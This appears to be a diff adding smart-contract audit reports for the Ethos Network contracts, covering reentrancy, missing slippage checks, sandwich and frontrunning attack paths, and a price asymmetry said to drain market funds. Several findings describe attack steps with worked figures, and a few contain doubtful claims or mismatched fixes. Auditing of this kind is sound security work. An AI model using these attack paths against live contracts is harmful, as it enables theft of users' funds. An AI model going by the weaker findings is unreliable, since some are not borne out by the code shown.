be called by an authorized graduate withdrawal address which would limit the chances of an exploit to an extent, leaving such an open vulnerability in the contract could prove counter-intuitive. + +## Impact +Entire contract balance can be drained through reentrancy by graduate withdrawal address. + +## Recommendation +Either add a reentrancy modifier or simply change the order of operations: + +```solidity + function withdrawGraduatedMarketFunds(uint256 profileId) public whenNotPaused { + ... + + uint256 amount = marketFunds[profileId]; + marketFunds[profileId] = 0; + _sendEth(amount); + emit MarketFundsWithdrawn(profileId, msg.sender, marketFunds[profileId]); + } +``` \ No newline at end of file diff --git a/237.md b/237.md new file mode 100644 index 0000000..69e7b56 --- /dev/null +++ b/237.md @@ -0,0 +1,54 @@ +Main Inky Bobcat + +Medium + +# Incorrect Vote Price Calculation in Sell Transaction + +## Summary +The current implementation of the `_calculateSell` function mechanism calculates the received funds based on the vote price after the vote is subtracted, leading to a potentially incorrect representation of the funds received for each vote sold. + +## code snippet: +https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L1026-L1040 + +## Vulnerability Details +Current Implementation: +```solidity +while (votesSold < amount) { + if (market.votes[isPositive ? TRUST : DISTRUST] <= 1) { + revert InsufficientVotesToSell(profileId); + } + + market.votes[isPositive ? TRUST : DISTRUST] -= 1; + votePrice = _calcVotePrice(market, isPositive); + fundsReceived += votePrice; + votesSold++; +} +``` +#### Key Issue: +1. The `votePrice` is calculated after subtracting the vote +2. This means `fundsReceived` reflects the price of the next vote, not the current vote being sold +3. Creates a misalignment between the actual vote being sold and its calculated price + +## Impact +1. Pricing Inaccuracy: Funds received do not accurately represent the price of votes being sold +2. Potential Financial Discrepancy: Users may receive different funds than expected + +## Recommended +Modify the implementation to `fundsReceived += votePrice;` before subtracting the vote: +```solidity + uint256 votePrice = _calcVotePrice(market, isPositive); + + uint256 maxPrice = votePrice; + uint256 minPrice; + + while (votesSold < amount) { + if (market.votes[isPositive ? TRUST : DISTRUST] <= 1) { + revert InsufficientVotesToSell(profileId); + } + + market.votes[isPositive ? TRUST : DISTRUST] -= 1; + votePrice = _calcVotePrice(market, isPositive); + fundsReceived += votePrice; + votesSold++; + } +``` \ No newline at end of file diff --git a/238.md b/238.md new file mode 100644 index 0000000..5b8bcee --- /dev/null +++ b/238.md @@ -0,0 +1,16 @@ +Bubbly Porcelain Blackbird + +Medium + +# Missing storage gaps on upgradeable contract + +### Summary + +[EthosVouch](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/57c02df7c56f0b18c681a89ebccc28c86c72d8d8/ethos/packages/contracts/contracts/EthosVouch.sol#L67) and [ReputationMarket](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/57c02df7c56f0b18c681a89ebccc28c86c72d8d8/ethos/packages/contracts/contracts/ReputationMarket.sol#L36) contract inherits the [`AccessControl`](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/57c02df7c56f0b18c681a89ebccc28c86c72d8d8/ethos/packages/contracts/contracts/utils/AccessControl.sol#L15) and openzeppelin `UUPSUpgradeable` contract, where the parent `AccessControl` contract has storage slot but no gaps, result in corrupted storage slot when admin updates. + +The issue is reference from [here](https://github.com/sherlock-audit/2024-10-ethos-network-judging/issues/206). +### Impact +storage will get corrupt on upgrade + +### Mitigation +Add gaps \ No newline at end of file diff --git a/239.md b/239.md new file mode 100644 index 0000000..25c64bd --- /dev/null +++ b/239.md @@ -0,0 +1,99 @@ +Virtual Denim Bobcat + +Medium + +# Buyer is not removed from a given market's participants nor unmarked when they sell all their votes + +## Summary +When a buyer purchases votes for a given market they are added to the participants in that market and are marked as participants in `isParticipant`, but when they sell all their votes - they are not removed from the participants nor unmarked. In turn, the number of market participants are always increasing and do not give an accurate reflection of how many users are actually active participants (i.e have votes) in that market, and a market owner cannot track who has active votes in the market. + +## Vulnerability Details +Users call [ReputationMarket::buyVotes()](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/57c02df7c56f0b18c681a89ebccc28c86c72d8d8/ethos/packages/contracts/contracts/ReputationMarket.sol#L442-L493) to purchase votes in a given market. By purchasing votes, they become participants in that market and are added to that market's participant's storage: + +```solidity + ... + // Add buyer to participants if not already a participant + if (!isParticipant[profileId][msg.sender]) { + participants[profileId].push(msg.sender); + isParticipant[profileId][msg.sender] = true; + } + ... +``` + +Conversely, if that same user sells all their votes - they should be removed from the tracking of that particular market's participants, but this is not the case - as no such checks are made in [ReputationMarket::sellVotes()](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/57c02df7c56f0b18c681a89ebccc28c86c72d8d8/ethos/packages/contracts/contracts/ReputationMarket.sol#L495-L534). + +## Impact +While these market participants tracking is only used once in the code when users buy votes as I've shown above, this would be problematic for market owners who try to get the real count of participants in their market, or those who have sold their votes and are no longer participants. + +An intent to make this possible is highlighted in the [comments](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/57c02df7c56f0b18c681a89ebccc28c86c72d8d8/ethos/packages/contracts/contracts/ReputationMarket.sol#L119-L123): + +```solidity +... + // profileId => participant address + // append only; don't bother removing. Use isParticipant to check if they've sold all their votes. + mapping(uint256 => address[]) public participants; + // profileId => participant => isParticipant + mapping(uint256 => mapping(address => bool)) public isParticipant; +... +``` + +As the comments show, trying to remove a participant from the append-only mapping shouldn't be bothered with, but at the very least accurate tracking in `isParticipant` mapping is paramount, and this is missing when users sell their votes. + +## Recommendation +Add the following check in `sellVotes()`: + +```solidity + function sellVotes( + uint256 profileId, + bool isPositive, + uint256 amount + ) public whenNotPaused activeMarket(profileId) nonReentrant { + ... + + // update the market state + markets[profileId].votes[isPositive ? TRUST : DISTRUST] -= votesSold; + votesOwned[msg.sender][profileId].votes[isPositive ? TRUST : DISTRUST] -= votesSold; + + // @audit-fix + if (votesOwned[msg.sender][profileId].votes[TRUST] == 0 + && votesOwned[msg.sender][profileId].votes[DISTRUST] == 0 + ) { + // mark as inactive participant + isParticipant[profileId][msg.sender] = false; + } + ... + } +``` + +While this will cause the user buying votes again in that market to be added to `participants[profileId]`, this is where I would suggest better tracking of the number of users as the current one is not even going to be reiterated and would only be checked for length: + +```solidity + mapping(uint256 => uint256) public participants; +``` + +This way you can simply just increment in `buyVotes()` like this: + +```solidity + ... + // Add buyer to participants if not already a participant + if (!isParticipant[profileId][msg.sender]) { + participants[profileId] += 1; + isParticipant[profileId][msg.sender] = true; + } + ... +``` + +And add the following change to my correction for `sellVotes`: + +```solidity + // @audit-fix + if (votesOwned[msg.sender][profileId].votes[TRUST] == 0 + && votesOwned[msg.sender][profileId].votes[DISTRUST] == 0 + ) { + // mark as inactive participant + isParticipant[profileId][msg.sender] = false; + participants[profileId] -= 1; // @new-add + } +``` + +This way you can accurately keep track of the number of market participants while also accurately preserving the `isParticipant` storage. \ No newline at end of file diff --git a/240.md b/240.md new file mode 100644 index 0000000..6cbbccf --- /dev/null +++ b/240.md @@ -0,0 +1,105 @@ +Hidden Blonde Mustang + +Medium + +# # Sandwich Attack + + +### Summary +The seller can lose their funds due to a sandwich attack. + +### Root Cause +In the `ReputationMarket.sol::sellVotes()` function, there is no slippage check. +https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L495 + +### Internal pre-conditions +N/A + +### External pre-conditions +N/A + +### Attack Path +1. The attacker sells their votes. +2. The victim sells their votes. +3. The attacker buys their votes back. +There is a specific description in poc. + +### Impact +The seller may lose their funds. + +### PoC + +```solidity +495: function sellVotes( + uint256 profileId, + bool isPositive, + uint256 amount + ) public whenNotPaused activeMarket(profileId) nonReentrant { + _checkMarketExists(profileId); + + // calculate the amount of votes to sell and the funds received + ( + uint256 votesSold, + uint256 fundsReceived, + , + uint256 protocolFee, + uint256 minVotePrice, + uint256 maxVotePrice + ) = _calculateSell(markets[profileId], profileId, isPositive, amount); + + // update the market state + markets[profileId].votes[isPositive ? TRUST : DISTRUST] -= votesSold; + votesOwned[msg.sender][profileId].votes[isPositive ? TRUST : DISTRUST] -= votesSold; + + // apply protocol fees + applyFees(protocolFee, 0, profileId); + + // send the proceeds to the seller + _sendEth(fundsReceived); + // tally market funds + marketFunds[profileId] -= fundsReceived; + emit VotesSold( + profileId, + msg.sender, + isPositive, + votesSold, + fundsReceived, + block.timestamp, + minVotePrice, + maxVotePrice + ); + _emitMarketUpdate(profileId); + } +``` +Assume that `market.votes[0] := v0`, `market.votes[1] := v1`, and `market.basePrice := b`. +The victim attempts to sell `n` `vote0`s. +Before that, the attacker sells their `m` `vote0`s. +The victim sells their `n` `vote0`s. +Finally, the attacker buys back `m` `vote0`s. +At that time: + `f1 := b * sum((v0 -1 -i)/(v0 +v1 -1 -i)) (i=[0,n-1])` + `f2 := b * sum((v0 -m -1 -i)/(v0 -m +v1 -1 -i)) (i=[0,n-1])` + `f3 := b * sum((v0 -1 -i)/(v0 +v1 -1 -i)) (i=[0,m-1])` + `f4 := b * sum((v0 -n -m +i)/(v0 -n -m +v1 +i)) (i=[0,m-1])` + The exit fee rate is given by `exitfeerate := (10000 - exitProtocolFeeBasisPoints) / 10000 >= 0.95` + The entry fee rate is given by `entryfeerate := (10000 - entryProtocolFeeBasisPoints - donationBasisPoints) / 10000 >= 0.9` + The victim's original received funds are `orf = f1 * exitfeerate` + However, their real received funds are `rrf = f2 * exitfeerate` + The victim's lose funds are `vlf = orf -rrf >= (f1 - f2) * 0.95` + The attacker receives = `arf = f3 * exitfeerate - f4 / entryfeerate >= f3 * 0.95 - f4 / 0.9` + when `v0 = 5`,`v1 = 5`,`n = 1`, and `m = 1`: + `f1 = b * 0.44444`, + `f2 = b * 0.375`, + `f3 = b * 0.44444`, + `f4 = b * 0.375`, + `vlf >= b* 0.06597`, + `arf >= b * 0.00555`. + when `v0 = 2000`,`v1 = 2000`,`n = 500`, and `m = 500`: + `f1 = b*232.90150`, + `f2 = b * 191.65102`, + `f3 = b * 232.90150`, + `f4 = b * 191.65102`, + `vlf >= b * 39.18796`, + `arf >= b * 8.31085`. + +### Mitigation \ No newline at end of file diff --git a/241.md b/241.md new file mode 100644 index 0000000..1cb3a9c --- /dev/null +++ b/241.md @@ -0,0 +1,189 @@ +Dazzling Pearl Capybara + +Medium + +# Reentrancy Risks and Precision Issues in Fee Handling + +### Summary + +The current implementation of fee handling of `totalFees` and `toDeposit` in the contract is vulnerable to precision loss and potential reentrancy risks. Immediate fixes involve rearranging state updates, adopting the Checks-Effects-Interactions (CEI) pattern to ensure accurate fee calculations, safeguarding it from reentrancy attacks and state inconsistencies. + +### Root Cause + +### **Root Cause:** +The `applyFees` function in the EthosVouch contract updates state variables only after making external calls. This creates potential vulnerabilities, including reentrancy attacks and inconsistent state updates. + +The current implementation of fee handling in the EthosVouch contract should rearrange state updates to follow the CEI pattern, preventing reentrancy attacks and ensuring accurate state updates. + +[ethos/packages/contracts/contracts/EthosVouch.sol](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/57c02df7c56f0b18c681a89ebccc28c86c72d8d8/ethos/packages/contracts/contracts/EthosVouch.sol#L929C1-L965C4) +```solidity + function applyFees( + uint256 amount, + bool isEntry, + uint256 subjectProfileId + ) internal returns (uint256 toDeposit, uint256 totalFees) { + if (isEntry) { + // Calculate entry fees + uint256 protocolFee = calcFee(amount, entryProtocolFeeBasisPoints); + uint256 donationFee = calcFee(amount, entryDonationFeeBasisPoints); + uint256 vouchersPoolFee = calcFee(amount, entryVouchersPoolFeeBasisPoints); + + // Distribute fees + if (protocolFee > 0) { + _depositProtocolFee(protocolFee); + } + if (donationFee > 0) { + _depositRewards(donationFee, subjectProfileId); + } + if (vouchersPoolFee > 0) { + // update the voucher pool fee to the amount actually distributed + vouchersPoolFee = _rewardPreviousVouchers(vouchersPoolFee, subjectProfileId); + } + totalFees = protocolFee + donationFee + vouchersPoolFee; + toDeposit = amount - totalFees; + } else { + // Calculate and apply exit fee + uint256 exitFee = calcFee(amount, exitFeeBasisPoints); + + if (exitFee > 0) { + _depositProtocolFee(exitFee); + } + totalFees = exitFee; + toDeposit = amount - exitFee; + } + + return (toDeposit, totalFees); + } +``` + +### Internal pre-conditions + + - The caller invokes the `unvouch` function. + - Exit fees (`exitFee`) are calculated. + - Protocol fees need to be transferred. + +### External pre-conditions + + - The recipient address for protocol fees must be valid. + - The address must be capable of receiving ETH. + - The call must complete within gas limits. + +### Attack Path + +1. **Vulnerable Functions**: + The `vouchProfileId`, `increaseVouch`, and `unvouch` functions all invoke the `applyFees` function, which contains the vulnerability. + +2. **Example Using `unvouch`:** + In the `unvouch` function, an external call in `applyFees` triggers the contract’s `receive()` function. Since the state update occurs after the external call, it allows reentrancy. By re-entering the `unvouch` function through `receive()`, the attacker can extract funds multiple times. + +```solidity +// First invocation of unvouch +function unvouch(uint256 vouchId, uint256 amount, uint256 minAcceptedAmount) external { + // ... Validation logic ... + + // 1. Call applyFees + (uint256 toDeposit, uint256 totalFees) = applyFees(amount, false, subjectProfileId); + + // Inside applyFees: + if (exitFee > 0) { + _depositProtocolFee(exitFee); // Triggers receive() + // At this point, the state has not yet been updated + // In receive(), unvouch is called again + // Since the state is not updated, funds can be extracted repeatedly + } + totalFees = exitFee; // State update happens too late + toDeposit = amount - exitFee; + + // ... Remaining logic ... +} +``` + +### Impact + +1. **Reentrancy Risk:** +- Fees may be withdrawn multiple times. +- State updates may be inaccurate. +- Funds could be lost. + + +2. **State Inconsistencies:** +```solidity +// Delayed state updates may result in: +totalFees != actualFeesPaid +toDeposit != amount - actualFeesPaid +``` + +### PoC + +```solidity +contract EthosVouchTest { + function testReentrancy() public { + EthosVouch vouch = new EthosVouch(); + VouchAttacker attacker = new VouchAttacker(address(vouch)); + + // Setup initial state + // ... setup code ... + + // Execute attack + attacker.attack(); + + // Verify state inconsistency + assertNotEqual( + vouch.totalFees(), + actualFeesPaid + ); + } +} +``` + +### Mitigation + +It is recommendated to adopt the Checks-Effects-Interactions (CEI) pattern to ensure accurate fee calculations, safeguarding it from reentrancy attacks and state inconsistencies. + + +**Adhere to the CEI Pattern and Enhance Entry Fee Handling** +```solidity + function applyFees( + uint256 amount, + bool isEntry, + uint256 subjectProfileId + ) internal returns (uint256 toDeposit, uint256 totalFees) { + if (isEntry) { + // Calculate entry fees + uint256 protocolFee = calcFee(amount, entryProtocolFeeBasisPoints); + uint256 donationFee = calcFee(amount, entryDonationFeeBasisPoints); + uint256 vouchersPoolFee = calcFee(amount, entryVouchersPoolFeeBasisPoints); + ++ totalFees = protocolFee + donationFee + vouchersPoolFee; ++ toDeposit = amount - totalFees; + // Distribute fees + if (protocolFee > 0) { + _depositProtocolFee(protocolFee); + } + if (donationFee > 0) { + _depositRewards(donationFee, subjectProfileId); + } + if (vouchersPoolFee > 0) { + // update the voucher pool fee to the amount actually distributed + vouchersPoolFee = _rewardPreviousVouchers(vouchersPoolFee, subjectProfileId); + } +- totalFees = protocolFee + donationFee + vouchersPoolFee; +- toDeposit = amount - totalFees; + } else { + // Calculate and apply exit fee + uint256 exitFee = calcFee(amount, exitFeeBasisPoints); + + + totalFees = exitFee; + + toDeposit = amount - exitFee; + + if (exitFee > 0) { + _depositProtocolFee(exitFee); + } + - totalFees = exitFee; + - toDeposit = amount - exitFee; + } + + return (toDeposit, totalFees); + } + +``` \ No newline at end of file diff --git a/242.md b/242.md new file mode 100644 index 0000000..d464ffe --- /dev/null +++ b/242.md @@ -0,0 +1,89 @@ +Long Chocolate Ladybug + +High + +# Incorrect declaration of Maximum total fee in Vouch Contract + +### Summary + +The incorrect declaration of `MAX_TOTAL_FEES` conflicts with an invariant of the contract, resulting in the potential loss of deposit amounts in the vouch system. + +### Root Cause + +One of the invariants stated in the contract specifies that _the maximum total fees cannot exceed 10%_. However, in [EthosVouch.sol::L120](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/EthosVouch.sol#L120), `MAX_TOTAL_FEES` is declared as `10000` (where 100 = 1%). + +```solidity +uint256 public constant MAX_TOTAL_FEES = 10000; +``` + +### Internal Pre-conditions + +_No response_ + +### External Pre-conditions + +_No response_ + +### Attack Path + +_No response_ + +### Impact + +The `MAX_TOTAL_FEES` constant is utilized in the function [`checkFeeExceedsMaximum()`](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/EthosVouch.sol#L996C3-L1004C4). Specifically, the administrator sets various fee basis points in `EthosVouch.sol`. + +```solidity +function setEntryDonationFeeBasisPoints( + uint256 _newEntryDonationFeeBasisPoints +) external onlyAdmin { + checkFeeExceedsMaximum(entryDonationFeeBasisPoints, _newEntryDonationFeeBasisPoints); + entryDonationFeeBasisPoints = _newEntryDonationFeeBasisPoints; + emit EntryDonationFeeBasisPointsUpdated(_newEntryDonationFeeBasisPoints); +} +``` + +```solidity +function setEntryVouchersPoolFeeBasisPoints( + uint256 _newEntryVouchersPoolFeeBasisPoints +) external onlyAdmin { + checkFeeExceedsMaximum(entryVouchersPoolFeeBasisPoints, _newEntryVouchersPoolFeeBasisPoints); + entryVouchersPoolFeeBasisPoints = _newEntryVouchersPoolFeeBasisPoints; + emit EntryVouchersPoolFeeBasisPointsUpdated(_newEntryVouchersPoolFeeBasisPoints); +} +``` + +```solidity +function setExitFeeBasisPoints(uint256 _newExitFeeBasisPoints) external onlyAdmin { + checkFeeExceedsMaximum(exitFeeBasisPoints, _newExitFeeBasisPoints); + exitFeeBasisPoints = _newExitFeeBasisPoints; + emit ExitFeeBasisPointsUpdated(_newExitFeeBasisPoints); +} +``` + +When the administrator sets these fees individually, the respective setter functions invoke `checkFeeExceedsMaximum` to verify the `totalFees`. + +```solidity +function checkFeeExceedsMaximum(uint256 currentFee, uint256 newFee) internal view { + uint256 totalFees = entryProtocolFeeBasisPoints + + exitFeeBasisPoints + + entryDonationFeeBasisPoints + + entryVouchersPoolFeeBasisPoints + + newFee - + currentFee; + if (totalFees > MAX_TOTAL_FEES) revert FeesExceedMaximum(totalFees, MAX_TOTAL_FEES); +} +``` + +The administrator may not realize that the `totalFees` exceed 10% since the fees are set individually. This oversight indicates that it is possible for `totalFees` to reach 100%. As a consequence, user deposits in the vouch system could be entirely consumed as fees. Ultimately, this critical issue leads to the loss of deposit amounts in vouch. + +### Proof of Concept + +_No response_ + +### Mitigation + +To address this issue, it is recommended to modify the value of `MAX_TOTAL_FEES` as follows: + +```solidity +uint256 public constant MAX_TOTAL_FEES = 1000; +``` \ No newline at end of file diff --git a/243.md b/243.md new file mode 100644 index 0000000..732a5e8 --- /dev/null +++ b/243.md @@ -0,0 +1,28 @@ +Mythical Seaweed Hamster + +Medium + +# `sellVotes()` function in `ReputationMarket.sol` does not check slippage + +### Root Cause + +`sellVotes()` in `ReputationMarket.sol` does not allow the caller to set an acceptable slippage value. Any calls to this function can be sandwiched, and are subject to indefinite losses. + +### External pre-conditions + +A malicious actor with a large quantity of votes is monitoring the mempool for `sellVotes()` calls. + +### Attack Path + +1. The mempool is monitored for a large sale of votes. +2. `sellVotes()` is called authentically. +3. The attacker submits a `sellVotes()` call with less gas, and an equal `buyVotes()` call with more gas than the authentic transaction. +4. The authentic transaction executes at a much lower price than intended, and the attacker buys back their original quantity of votes at a lower price. + +### Impact + +The attacker pays protocol fees for their buy and sell transactions, the affected party receives a lower than expected quantity of ETH. + +### Mitigation + +Implement a slippage checking function similar to the one in `buyVotes()`. \ No newline at end of file diff --git a/244.md b/244.md new file mode 100644 index 0000000..ed3fbbe --- /dev/null +++ b/244.md @@ -0,0 +1,85 @@ +Long Chocolate Ladybug + +Medium + +# Duplicate parameters can cause a complicated issue + +### Summary + +In `Reputation.sol`, the use of public variables from another contract can lead to storage conflicts, potentially causing crashes. + +### Root Cause + +In [Reputation.sol::L211,L212](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L211C6-L212C25), the function `initialize` utilizes `expectedSigner` and `signatureVerifier` to initialize access control. These two variables are declared as public in [SignatureControl.sol::L12,L13](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/utils/SignatureControl.sol#L12C3-L13C36). + +```solidity +contract ReputationMarket is AccessControl, UUPSUpgradeable, ReentrancyGuard { + function initialize( + address owner, + address admin, + address expectedSigner, + address signatureVerifier, + address contractAddressManagerAddr + ) external initializer { + __accessControl_init( + owner, + admin, + expectedSigner, //@audit-issue this variable is declared as public in SignatureControl.sol + signatureVerifier, //@audit-issue this variable is declared as public in SignatureControl.sol + contractAddressManagerAddr + ); + ... + } +} +``` + +```solidity +abstract contract SignatureControl is Initializable { + address public expectedSigner; + address public signatureVerifier; + ... +} +``` + +### Internal Pre-conditions + +_No response_ + +### External Pre-conditions + +_No response_ + +### Attack Path + +_No response_ + +### Impact + +The presence of duplicate parameters and public variables can lead to storage collisions, resulting in potential infinite recursion. This situation may ultimately cause a denial-of-service (DoS) condition. + +### Proof of Concept + +_No response_ + +### Mitigation + +To resolve this issue, the `initialize` function in `Reputation.sol` should be modified to use distinct parameter names, as follows: + +```solidity +function initialize( + address _owner, + address _admin, + address _expectedSigner, + address _signatureVerifier, + address _contractAddressManagerAddr +) external initializer { + __accessControl_init( + _owner, + _admin, + _expectedSigner, + _signatureVerifier, + _contractAddressManagerAddr + ); + ... +} +``` diff --git a/245.md b/245.md new file mode 100644 index 0000000..cc8a9f9 --- /dev/null +++ b/245.md @@ -0,0 +1,39 @@ +Faithful Butter Pig + +High + +# Attackers can steal market funds. + +### Summary + +The function withdrawGradedMarketFunds() of ReputationMarket.sol does not prevent re-entrant, which can result in stolen ETH. +Therefore, you should add nonReentrant to the function or set marketFunds[profileId] = 0 before sending Eth. + +### Root Cause + +In 'ReputationMarket.sol:660', you should add nonReentrant. +https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L660 + +### Internal pre-conditions + +_No response_ + +### External pre-conditions + +_No response_ + +### Attack Path + +_No response_ + +### Impact + +_No response_ + +### PoC + +_No response_ + +### Mitigation + +_No response_ \ No newline at end of file diff --git a/246.md b/246.md new file mode 100644 index 0000000..15e72ec --- /dev/null +++ b/246.md @@ -0,0 +1,74 @@ +Cheery Mustard Swallow + +Medium + +# Griefing attack vulnerability due to unbounded loop in `ReputationMarket::sellVotes` that could result in denial-of-service for users + +### Summary + +The current implementation in `sellVotes` and by extention `_calculateSell` allow a potential griefing attack through the vote selling mechanism, specifically by passing a large amount of votes to sell in a single transaction. + +### Root Cause + +- The while loop in [ReputationMarket.sol:1003](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L1003-L1045) has no upper bound on iterations. +- Each iteration performs multiple state modifications and price calculations. + +### Internal pre-conditions + +_No response_ + +### External pre-conditions + +_No response_ + +### Attack Path + +An attacker or even a normal user with sufficient funds could: +- Pass an extremely large number of votes to sell +- Cause excessive gas consumption +- Potentially hit block gas limits +- Make the transaction economically impractical + +### Impact + +1. Potential denial of service through gas exhaustion. +2. Increased transaction costs. +3. Possible prevention of legitimate large-scale vote selling. + +### PoC + +```typescript +it('Attempt to Sell 1500 Votes for Griefing Test', async () => { + // Buy enough votes to sell + const buyAmount = ethers.parseEther('15'); // Buy more votes + await userA.buyVotes({ buyAmount }); + + // Get initial vote count + const { trustVotes: positiveBefore } = await userA.getVotes(); + + // Attempt to sell a large number of votes in one transaction + const sellAmount = 1500; // Starts to timeout from 1000 + for (let i = 0; i < sellAmount; i++) { + await userA.sellOneVote(); + } + + // Get vote count after selling + const { trustVotes: positiveAfter } = await userA.getVotes(); + + // Verify votes reduced + expect(positiveAfter).to.be.lessThan(positiveBefore); + }); +``` + +### Mitigation + +Implement a hard cap on votes per transaction + +```solidity +uint256 constant MAX_VOTES_PER_TRANSACTION = 500; // Example limit + +function sellVotes(...) { + require(amount <= MAX_VOTES_PER_TRANSACTION, "Exceeds max votes per transaction"); + // Existing code +} +``` \ No newline at end of file diff --git a/247.md b/247.md new file mode 100644 index 0000000..aec769d --- /dev/null +++ b/247.md @@ -0,0 +1,45 @@ +Faithful Butter Pig + +Medium + +# When calculating the outcome of a sell transaction, the calculation of amount received after fees was incorrect. + +### Summary + +In the function _calculateSell of ReputationMarket.sol, you added the updated vote price instead of adding the current vote price. This causes the calculation of fundsReceived to be incorrect. + +https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L1037C7-L1038C34 + +### Root Cause + +In the code below, you need to reverse the order of the two lines. +1037 : votePrice = _calcVotePrice(market, isPositive); +1038 : fundsReceived += votePrice; + +Updated code: +1037 : fundsReceived += votePrice; +1038 : votePrice = _calcVotePrice(market, isPositive); + +### Internal pre-conditions + +_No response_ + +### External pre-conditions + +_No response_ + +### Attack Path + +_No response_ + +### Impact + +_No response_ + +### PoC + +_No response_ + +### Mitigation + +_No response_ \ No newline at end of file diff --git a/248.md b/248.md new file mode 100644 index 0000000..6e7ddfe --- /dev/null +++ b/248.md @@ -0,0 +1,36 @@ +Mythical Seaweed Hamster + +Medium + +# `buyVotes()` in `ReputationMarket.sol` is vulnerable to DOS + +### Summary + +`buyVotes()` in `ReputationMarket.sol` can be frontrun in such a way that function calls can be strategically denied at the expense of a dedicated attacker. + +### Root Cause + +`buyVotes()` provides enough information to the mempool for an actor to determine whether or not the call affects them positively or negatively. Transactions can be monitored for the address of the sender, volume, whether or not the votes are TRUST or DISTRUST, and the minimum acceptable slippage in basis points. + +`_checkSlippageLimit()` reverts if the price of votes is beyond the acceptable range specified by the caller of `buyVotes()`. Based on the value of `slippageBasisPoints` passed to `buyVotes()`, an attacker can determine the most efficient action they can take to push the price just beyond the acceptable limit and cause the function call to revert. Provided they have the liquidity and are willing to pay protocol fees, they can frontrun an authentic `buyVotes()` call with their own and cause it to revert, selling their votes back to the protocol afterward. + + + +### Internal pre-conditions + +Protocol fees dictate the feasibility of this course of action. The closer they are to zero, the lower the downside in performing this attack. + +### External pre-conditions + +Affiliates of a reputation market determine that the upside of a positive reputation on Ethos outweighs the downside of whatever protocol fees they must pay to artificially maintain it in this manner. + +### Attack Path + +1. An attacker takes note of protocol use they deem unsavory. +2. They monitor the mempool for transactions that fit this profile (specific addresses, TRUST/DISTRUST votes.) +3. Once a fitting `buyVotes()` is observed, the attacker submits a call with less gas that results in the price of votes exceeding the threshold of the authentic call, immediately selling their own votes back to the protocol once the authentic call executes to avoid losses and reset the price. +4. This is repeated until the authentic party yields or is forced to purchase their votes at an unfavorable price. + +### Impact + +Users of the protocol can be denied service at the discretion of an unknown third party. The attacker pays all protocol fees. The affected party is unable to buy votes until either the attacker yields or they accept an unfavorable price. \ No newline at end of file diff --git a/249.md b/249.md new file mode 100644 index 0000000..a8b9688 --- /dev/null +++ b/249.md @@ -0,0 +1,38 @@ +Melodic Taupe Cyborg + +Medium + +# No Slippage Protection When Selling Tokens + +### Summary + +`ReputationMarket::buyVotes` offers slippage protection to ensure a minimum desired amount of votes is obtained based on the ETH sent. However, `ReputationMarket::sellVotes` lacks such protection. + +### Root Cause + +* [ReputationMarket](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L495) + +### Internal pre-conditions + +1. A user intends to sell their votes. + +### External pre-conditions + +_No response_ + +### Attack Path + +1. An attacker dumps the price of the votes the user intends to sell, either by selling the same token the user plans to sell or by manipulating its counterpart (TRUST/DISTRUST). +2. The user sells their votes. + +### Impact + +In the worst-case scenario, the user could **lose all their tokens** and receive almost no ETH in return. + +### PoC + +_No response_ + +### Mitigation + +Implement slippage protection in `ReputationMarket::sellVotes` as well. \ No newline at end of file diff --git a/250.md b/250.md new file mode 100644 index 0000000..138677a --- /dev/null +++ b/250.md @@ -0,0 +1,76 @@ +Small Tan Eagle + +High + +# Drain fund from reputation markets due to asymmetric price calculation between ````buyVotes()```` and ````sellVotes()```` + +### Summary + +The ````_calcVotePrice()```` is used to calculation vote price for both ````buyVotes()```` and ````sellVotes()````, and the price calculation is always based on current ````totalVotes````, this would cause price asymmetry for a same vote between buy and sell. Attackers can exploit this vulnerability to drain fund from markets. + +### Root Cause +The issue arises on the [L921-922](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/57c02df7c56f0b18c681a89ebccc28c86c72d8d8/ethos/packages/contracts/contracts/ReputationMarket.sol#L921~L922) of ````ReputationMarket._calcVotePrice()````, I will take a specific example to show the problem. +```solidity +File: contracts\ReputationMarket.sol +920: function _calcVotePrice(Market memory market, bool isPositive) private pure returns (uint256) { +921: uint256 totalVotes = market.votes[TRUST] + market.votes[DISTRUST]; +922: return (market.votes[isPositive ? TRUST : DISTRUST] * market.basePrice) / totalVotes; +923: } +``` + +Let's say the starting states are as follows: +```solidity +// the default tier of market profile config +market.votes[TRUST] = 1 +market.votes[DISTRUST] = 1 +market.basePrice = 0.01 ETH +``` +Now, we buy one ````TRUST```` vote, we get +```solidity +totalVotes = 1 + 1 = 2 +wePay= market.votes[TRUST] * market.basePrice / totalVotes = (1 * 0.01 ETH) / 2 = 0.005 ETH +// after the buy +market.votes[TRUST] = 2 +market.votes[DISTRUST] = 1 +``` +Next, we sell the vote immediately, then +```solidity +totalVotes = 2 + 1 = 3 +weReceive = market.votes[TRUST] * market.basePrice / totalVotes = (2 * 0.01 ETH) / 3 = 0.0067 ETH +// after the sell, states returns back +market.votes[TRUST] = 1 +market.votes[DISTRUST] = 1 +``` +By the one buy and one sell: +```solidity +weEarn = weReceive - wePay = 0.0067 ETH - 0.005 ETH = 0.0017 ETH +``` +as we have ````0.0017 ETH / 0.005 ETH = 34%```` gross margin, it could cover the fee cost. Hence, the attack is profit. Attackers can repeatedly conduct the attack to drain all fund in the markets. +### Internal pre-conditions + +N/A + 